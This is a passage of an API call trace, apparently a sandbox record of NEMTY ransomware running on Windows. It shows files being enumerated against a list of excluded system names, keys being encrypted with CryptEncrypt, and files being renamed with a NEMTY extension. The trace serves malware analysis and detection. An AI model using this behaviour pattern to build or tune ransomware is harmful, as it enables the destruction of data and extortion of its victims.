0xffffffff [0096.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.993] CloseHandle (hObject=0xffffffff) returned 0 [0096.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0096.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0096.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0096.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0096.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0096.993] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0096.994] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0096.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0096.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0096.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0096.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0096.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0096.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0096.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0096.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0096.995] Sleep (dwMilliseconds=0x5) [0096.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed766a70, dwHighDateTime=0x1d561e7)) [0096.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed766a70, dwHighDateTime=0x1d561e7)) [0096.999] GetLastError () returned 0x5 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.999] GetLastError () returned 0x5 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.999] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.999] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.999] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0096.999] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="9SJqVazLxnO52k3AYgaemxzzXFv0GoJm9uRw14hitNzpHvXUjp0751yFwKGo6/+e\r\n0RNzlcjucQDTvVIb5QLby2yBkhvUUpETWekrMPfWC5c0U4xZb5Ev5OdqLhfT0CZY\r\ncI/Fk+cvoy9GIFTH5+NWUZ2zCKYvmhTO7sg127co0siTf1bgFtStigj2jD979JK7\r\nWtYfpHHkKM9ggab21hwg0ayQMRFFLJ23KHxVLK/l+Cv50GIMe8y7hKli2z/OER9d\r\n9ZsxQXMliRkV1DCStqEDLgJP8b6Cdz1KZGxo5Qzved81GEN/XIwoVyDkSYni3bOF\r\nzJEUnCGNjLZSAa0yZnamKw==\r\n", pcchString=0x653e91c) returned 1 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0096.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0096.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.000] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0097.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, 